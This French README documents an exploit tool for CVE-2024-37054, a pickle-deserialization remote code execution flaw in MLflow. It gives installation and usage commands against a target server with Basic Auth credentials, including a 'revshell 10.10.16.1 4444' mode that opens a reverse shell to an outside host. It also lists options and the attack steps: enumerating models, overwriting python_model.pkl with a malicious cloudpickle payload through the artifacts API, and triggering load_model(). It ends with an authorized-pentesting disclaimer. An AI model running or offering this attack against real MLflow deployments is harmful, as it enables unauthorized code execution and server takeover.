
Exploit et documentation de CVE-2024-37054
Sévérité: Critique
Affecté: MLflow 0.9.0 – 2.14.1
Type: Exécution de code arbitraire via désérialisation pickle Python
mlflow.pyfunc.load_model() désérialise python_model.pkl à partir du store d'artefacts sans aucune vérification. Un attaquant qui peut atteindre l'API REST des artefacts MLflow peut écraser ce fichier avec un pickle malveillant, ce qui exécute des commandes OS arbitraires lors du prochain chargement du modèle.
pip install requests cloudpickle
# Enumerate registered models
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
list
# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
revshell 10.10.16.1 4444
| Option | Description |
|---|---|
--mlflow URL | URL de base du serveur de suivi MLflow (requis) |
--model NAME | Nom du modèle enregistré — sélectionne le premier si omis |
--version N | Version du modèle — par défaut la plus récente |
--user / --pass | Identifiants HTTP Basic Auth pour MLflow |
--run-id / --exp-id | Contourner la découverte du modèle avec des IDs connus |
--trigger-url URL | Point de terminaison de l'app qui appelle load_model() — omettre pour seulement uploader |
--session COOKIE | Cookie de session envoyé avec la requête de déclenchement |
/api/2.0/mlflow/registered-models/search pour trouver un modèle et son run_id / experiment_idPUT une charge utile cloudpickle malveillante vers /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pklmlflow.pyfunc.load_model() sur ce modèle désérialise la charge utile et exécute la commandeL'étape de déclenchement nécessite un point de terminaison d'application qui charge le modèle. Si aucun n'est connu, utilisez --no-trigger (ou omettez --trigger-url) et déclenchez le chargement par tout moyen disponible.
À des fins de tests de pénétration autorisés et d'éducation uniquement.